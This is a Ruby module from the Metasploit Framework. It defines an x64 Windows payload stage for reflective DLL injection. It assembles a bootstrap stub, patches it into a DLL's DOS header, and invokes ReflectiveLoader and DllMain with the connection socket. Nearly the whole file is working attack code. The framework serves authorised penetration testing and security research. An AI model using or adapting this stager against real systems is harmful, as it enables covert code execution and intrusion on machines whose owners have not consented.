lib/msf/core/payload/windows/x64/reflective_dll_inject_x64.rb
# -*- coding: binary -*-
module Msf
###
#
# Common module stub for ARCH_X64 payloads that make use of Reflective DLL Injection.
#
###
module Payload::Windows::ReflectiveDllInject_x64
include Msf::ReflectiveDLLLoader
include Msf::Payload::Windows
def initialize(info = {})
super(update_info(info,
'Name' => 'Reflective DLL Injection',
'Description' => 'Inject a DLL via a reflective loader',
'Author' => [ 'sf' ],
'References' => [
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
],
'Platform' => 'win',
'Arch' => ARCH_X64,
'PayloadCompat' => { 'Convention' => 'sockrdi' },
'Stage' => { 'Payload' => "" }
))
register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
end
def library_path
datastore['DLL']
end
def asm_invoke_dll(opts={})
asm = %Q^
; prologue
db 0x4d, 0x5a ; 'MZ' = "pop r10"
push r10 ; back to where we started
push rbp ; save rbp
mov rbp, rsp ; set up a new stack frame
sub rsp, 32 ; allocate some space for calls.
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
; GetPC
call $+5 ; relative call to get location
pop rbx ; pop return value
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader()
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x15)}
call rbx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; offset from ReflectiveLoader() to the end of the DLL
mov r8, rdi ; r8 contains the socket
mov rbx, rax ; save DllMain for another call
push 4 ; push up 4, indicate that we have attached
pop rdx ; pop 4 into rdx
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; push 5, indicate that we have detached
pop rdx ; pop 5 into rdx
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
^
end
def stage_payload(opts = {})
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(library_path)
asm_opts = {
rdi_offset: offset,
exitfunk: 'thread' # default to 'thread' for migration
}
asm = asm_invoke_dll(asm_opts)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
raise RuntimeError, "Reflective DLL Injection (x64) generated an oversized bootstrap!"
end
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
dll
end
end
end